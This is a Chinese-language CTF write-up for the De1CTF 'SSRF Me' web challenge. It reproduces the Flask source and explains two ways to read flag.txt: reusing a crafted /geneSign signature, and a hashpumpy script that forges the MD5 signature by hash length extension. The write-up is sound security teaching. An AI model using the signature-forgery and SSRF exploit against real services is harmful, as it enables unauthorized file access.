De1ctf之SSRF ME多种方法

SSRF Me

buuctf有靶场复现地址:http://web68.buuoj.cn/


出题人给了hint:hint for [SSRF Me]: flag is in ./flag.txt

第一种方法:利用scan方法直接读取flag.txt

打开网页f12获取源码。

#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)


class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)):          #SandBox For Remote_Addr
            os.mkdir(self.sandbox)

    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False


#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)


@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())
@app.route('/')
def index():
    return open("code.txt","r").read()


def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"



def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
    return hashlib.md5(content).hexdigest()


def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):     
        return True
    else:
        return False


if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0',port=80)

首先发现了三个路由。
De1ctf之SSRF ME多种方法_第1张图片

geneSign() 获得param参数,通过action和param生成签名
challenge() 获得cookies中的action和sign,再去通过url传参获取param,并且使用Task对象,通过json返回Exec()方法
index 得到源码

在执行Exec方法的时候,调用De1ctf之SSRF ME多种方法_第2张图片
将传入的action和param参数和传入的sign参数进行比较。若相等则执行后面的操作。
所以只要我们后面传入的param和路由/De1ta下传入的param一样,然后action也等于scan。并且将/geneSign路由下返回的sign一样,就可以了。

看scan这个方法,就是访问param的网址,并将其内容的前50个字母返回回来。
De1ctf之SSRF ME多种方法_第3张图片
于是在/geneSign路由下将param传参如下:
返回了我们自己构建的sign。
De1ctf之SSRF ME多种方法_第4张图片
得到了sign=7cde191de87fe3ddac26e19acae1525e
为什么要传入的参数是flag.txtread呢?
因为它源码定义了action=scan.这在生成sign中是不可变的,又因为Exec方法中action必须有read和scan。所以定义为flag.txtread。

在这里插入图片描述
因为在self.action中必须包含scan和read。于是令action为readscan。read和scan顺序不可换。因为在Getsign方法中param在action前面,最终组成flag.txtreadscan.

在这里插入图片描述
于是我们利用scan方法来读取flag.txt的内容。
De1ctf之SSRF ME多种方法_第5张图片
最终访问De1ta路由修改cookie如下。即可获得flag.
De1ctf之SSRF ME多种方法_第6张图片
第二种方法:使用hash长度拓展攻击

前面思路都是一样。主要是第二种方法读取的是result.txt
De1ctf之SSRF ME多种方法_第7张图片
脚本如下:

import hashpumpy
import requests
import urllib.parse

txt1 = 'flag.txt'
r = requests.get('http://139.180.128.86/geneSign', params={'param': txt1})
sign = r.text
hash_sign = hashpumpy.hashpump(sign, txt1 + 'scan', 'read', 16)

r = requests.get('http://139.180.128.86/De1ta', params={'param': txt1}, cookies={
    'sign': hash_sign[0],
    'action': urllib.parse.quote(hash_sign[1][len(txt1):])
})

print(r.text)

你可能感兴趣的:(ctf学习,代码审计)